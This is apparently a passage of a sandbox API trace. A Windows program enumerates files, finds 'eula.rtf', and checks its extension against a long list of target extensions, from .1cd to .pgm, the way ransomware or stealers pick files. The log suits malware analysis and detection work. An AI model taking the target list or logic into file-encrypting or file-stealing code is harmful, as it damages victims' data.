	[0070.192] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.192] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.192] lstrlenW (lpString="eula.rtf") returned 8
	[0070.192] lstrlenW (lpString=".1cd") returned 4
	[0070.192] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.192] lstrlenW (lpString=".3ds") returned 4
	[0070.192] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0070.192] lstrlenW (lpString=".3fr") returned 4
	[0070.192] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0070.192] lstrlenW (lpString=".3g2") returned 4
	[0070.192] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0070.192] lstrlenW (lpString=".3gp") returned 4
	[0070.192] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0070.192] lstrlenW (lpString=".7z") returned 3
	[0070.192] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.192] lstrlenW (lpString=".accda") returned 6
	[0070.192] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0070.192] lstrlenW (lpString=".accdb") returned 6
	[0070.192] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0070.192] lstrlenW (lpString=".accdc") returned 6
	[0070.192] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0070.193] lstrlenW (lpString=".accde") returned 6
	[0070.193] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0070.193] lstrlenW (lpString=".accdt") returned 6
	[0070.193] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0070.193] lstrlenW (lpString=".accdw") returned 6
	[0070.193] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0070.193] lstrlenW (lpString=".adb") returned 4
	[0070.193] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".adp") returned 4
	[0070.193] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".ai") returned 3
	[0070.193] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0070.193] lstrlenW (lpString=".ai3") returned 4
	[0070.193] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".ai4") returned 4
	[0070.193] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".ai5") returned 4
	[0070.193] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".ai6") returned 4
	[0070.193] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".ai7") returned 4
	[0070.193] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".ai8") returned 4
	[0070.193] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".anim") returned 5
	[0070.193] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0070.193] lstrlenW (lpString=".arw") returned 4
	[0070.193] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".as") returned 3
	[0070.193] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0070.193] lstrlenW (lpString=".asa") returned 4
	[0070.193] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".asc") returned 4
	[0070.193] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0070.193] lstrlenW (lpString=".ascx") returned 5
	[0070.193] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0070.193] lstrlenW (lpString=".asm") returned 4
	[0070.194] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0070.194] lstrlenW (lpString=".asmx") returned 5
	[0070.194] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0070.194] lstrlenW (lpString=".asp") returned 4
	[0070.194] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0070.194] lstrlenW (lpString=".aspx") returned 5
	[0070.194] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0070.194] lstrlenW (lpString=".asr") returned 4
	[0070.194] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0070.194] lstrlenW (lpString=".asx") returned 4
	[0070.194] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0070.194] lstrlenW (lpString=".avi") returned 4
	[0070.194] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0070.194] lstrlenW (lpString=".avs") returned 4
	[0070.194] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0070.194] lstrlenW (lpString=".backup") returned 7
	[0070.194] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0070.194] lstrlenW (lpString=".bak") returned 4
	[0070.194] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0070.194] lstrlenW (lpString=".bay") returned 4
	[0070.194] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0070.194] lstrlenW (lpString=".bd") returned 3
	[0070.195] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0070.195] lstrlenW (lpString=".bin") returned 4
	[0070.195] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".bmp") returned 4
	[0070.195] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".bz2") returned 4
	[0070.195] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".c") returned 2
	[0070.195] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0070.195] lstrlenW (lpString=".cdr") returned 4
	[0070.195] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".cer") returned 4
	[0070.195] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".cf") returned 3
	[0070.195] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0070.195] lstrlenW (lpString=".cfc") returned 4
	[0070.195] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".cfm") returned 4
	[0070.195] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".cfml") returned 5
	[0070.195] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0070.195] lstrlenW (lpString=".cfu") returned 4
	[0070.195] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".chm") returned 4
	[0070.195] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".cin") returned 4
	[0070.195] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".class") returned 6
	[0070.195] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0070.195] lstrlenW (lpString=".clx") returned 4
	[0070.195] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0070.195] lstrlenW (lpString=".config") returned 7
	[0070.195] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0070.195] lstrlenW (lpString=".cpp") returned 4
	[0070.195] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".cr2") returned 4
	[0070.196] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".crt") returned 4
	[0070.196] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".crw") returned 4
	[0070.196] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".cs") returned 3
	[0070.196] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0070.196] lstrlenW (lpString=".css") returned 4
	[0070.196] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".csv") returned 4
	[0070.196] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".cub") returned 4
	[0070.196] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".dae") returned 4
	[0070.196] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".dat") returned 4
	[0070.196] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".db") returned 3
	[0070.196] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0070.196] lstrlenW (lpString=".dbf") returned 4
	[0070.196] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".dbx") returned 4
	[0070.196] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".dc3") returned 4
	[0070.196] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".dcm") returned 4
	[0070.196] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".dcr") returned 4
	[0070.196] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".der") returned 4
	[0070.196] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".dib") returned 4
	[0070.196] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0070.196] lstrlenW (lpString=".dic") returned 4
	[0070.196] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".dif") returned 4
	[0070.197] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".divx") returned 5
	[0070.197] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0070.197] lstrlenW (lpString=".djvu") returned 5
	[0070.197] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0070.197] lstrlenW (lpString=".dng") returned 4
	[0070.197] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".doc") returned 4
	[0070.197] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".docm") returned 5
	[0070.197] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0070.197] lstrlenW (lpString=".docx") returned 5
	[0070.197] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.197] lstrlenW (lpString=".dot") returned 4
	[0070.197] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".dotm") returned 5
	[0070.197] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0070.197] lstrlenW (lpString=".dotx") returned 5
	[0070.197] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0070.197] lstrlenW (lpString=".dpx") returned 4
	[0070.197] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".dqy") returned 4
	[0070.197] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".dsn") returned 4
	[0070.197] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".dt") returned 3
	[0070.197] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0070.197] lstrlenW (lpString=".dtd") returned 4
	[0070.197] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".dwg") returned 4
	[0070.197] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".dwt") returned 4
	[0070.197] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0070.197] lstrlenW (lpString=".dx") returned 3
	[0070.197] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0070.197] lstrlenW (lpString=".dxf") returned 4
	[0070.198] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".edml") returned 5
	[0070.198] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0070.198] lstrlenW (lpString=".efd") returned 4
	[0070.198] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".elf") returned 4
	[0070.198] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".emf") returned 4
	[0070.198] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".emz") returned 4
	[0070.198] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".epf") returned 4
	[0070.198] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".eps") returned 4
	[0070.198] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".epsf") returned 5
	[0070.198] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0070.198] lstrlenW (lpString=".epsp") returned 5
	[0070.198] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0070.198] lstrlenW (lpString=".erf") returned 4
	[0070.198] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".exr") returned 4
	[0070.198] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".f4v") returned 4
	[0070.198] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".fido") returned 5
	[0070.198] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0070.198] lstrlenW (lpString=".flm") returned 4
	[0070.198] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".flv") returned 4
	[0070.198] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0070.198] lstrlenW (lpString=".frm") returned 4
	[0070.198] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".fxg") returned 4
	[0070.199] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".geo") returned 4
	[0070.199] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".gif") returned 4
	[0070.199] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".grs") returned 4
	[0070.199] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".gz") returned 3
	[0070.199] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0070.199] lstrlenW (lpString=".h") returned 2
	[0070.199] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0070.199] lstrlenW (lpString=".hdr") returned 4
	[0070.199] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".hpp") returned 4
	[0070.199] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".hta") returned 4
	[0070.199] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".htc") returned 4
	[0070.199] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".htm") returned 4
	[0070.199] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".html") returned 5
	[0070.199] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0070.199] lstrlenW (lpString=".icb") returned 4
	[0070.199] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".ics") returned 4
	[0070.199] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".iff") returned 4
	[0070.199] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".inc") returned 4
	[0070.199] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".indd") returned 5
	[0070.199] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0070.199] lstrlenW (lpString=".ini") returned 4
	[0070.199] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0070.199] lstrlenW (lpString=".iqy") returned 4
	[0070.200] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".j2c") returned 4
	[0070.200] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".j2k") returned 4
	[0070.200] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".java") returned 5
	[0070.200] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0070.200] lstrlenW (lpString=".jp2") returned 4
	[0070.200] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".jpc") returned 4
	[0070.200] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".jpe") returned 4
	[0070.200] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".jpeg") returned 5
	[0070.200] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0070.200] lstrlenW (lpString=".jpf") returned 4
	[0070.200] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".jpg") returned 4
	[0070.200] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".jpx") returned 4
	[0070.200] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".js") returned 3
	[0070.200] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0070.200] lstrlenW (lpString=".jsf") returned 4
	[0070.200] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".json") returned 5
	[0070.200] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0070.200] lstrlenW (lpString=".jsp") returned 4
	[0070.200] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".kdc") returned 4
	[0070.200] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".kmz") returned 4
	[0070.200] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".kwm") returned 4
	[0070.200] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0070.200] lstrlenW (lpString=".lasso") returned 6
	[0070.201] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0070.201] lstrlenW (lpString=".lbi") returned 4
	[0070.201] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".lgf") returned 4
	[0070.201] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".lgp") returned 4
	[0070.201] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".log") returned 4
	[0070.201] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".m1v") returned 4
	[0070.201] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".m4a") returned 4
	[0070.201] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".m4v") returned 4
	[0070.201] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".max") returned 4
	[0070.201] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".md") returned 3
	[0070.201] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0070.201] lstrlenW (lpString=".mda") returned 4
	[0070.201] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mdb") returned 4
	[0070.201] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mde") returned 4
	[0070.201] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mdf") returned 4
	[0070.201] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mdw") returned 4
	[0070.201] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mef") returned 4
	[0070.201] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mft") returned 4
	[0070.201] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mfw") returned 4
	[0070.201] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mht") returned 4
	[0070.201] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0070.201] lstrlenW (lpString=".mhtml") returned 6
	[0070.202] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0070.202] lstrlenW (lpString=".mka") returned 4
	[0070.202] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mkidx") returned 6
	[0070.202] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0070.202] lstrlenW (lpString=".mkv") returned 4
	[0070.202] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mos") returned 4
	[0070.202] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mov") returned 4
	[0070.202] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mp3") returned 4
	[0070.202] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mp4") returned 4
	[0070.202] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mpeg") returned 5
	[0070.202] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0070.202] lstrlenW (lpString=".mpg") returned 4
	[0070.202] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mpv") returned 4
	[0070.202] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mrw") returned 4
	[0070.202] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".msg") returned 4
	[0070.202] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".mxl") returned 4
	[0070.202] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".myd") returned 4
	[0070.202] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".myi") returned 4
	[0070.202] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".nef") returned 4
	[0070.202] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0070.202] lstrlenW (lpString=".nrw") returned 4
	[0070.203] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".obj") returned 4
	[0070.203] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".odb") returned 4
	[0070.203] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".odc") returned 4
	[0070.203] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".odm") returned 4
	[0070.203] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".odp") returned 4
	[0070.203] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".ods") returned 4
	[0070.203] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".oft") returned 4
	[0070.203] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".one") returned 4
	[0070.203] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".onepkg") returned 7
	[0070.203] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0070.203] lstrlenW (lpString=".onetoc2") returned 8
	[0070.203] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0070.203] lstrlenW (lpString=".opt") returned 4
	[0070.203] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".oqy") returned 4
	[0070.203] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".orf") returned 4
	[0070.203] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".p12") returned 4
	[0070.203] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".p7b") returned 4
	[0070.203] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".p7c") returned 4
	[0070.203] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".pam") returned 4
	[0070.203] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0070.203] lstrlenW (lpString=".pbm") returned 4
	[0070.204] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pct") returned 4
	[0070.204] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pcx") returned 4
	[0070.204] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pdd") returned 4
	[0070.204] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pdf") returned 4
	[0070.204] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pdp") returned 4
	[0070.204] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pef") returned 4
	[0070.204] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pem") returned 4
	[0070.204] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pff") returned 4
	[0070.204] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pfm") returned 4
	[0070.204] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pfx") returned 4
	[0070.204] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0070.204] lstrlenW (lpString=".pgm") returned 4
	[0070.204] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
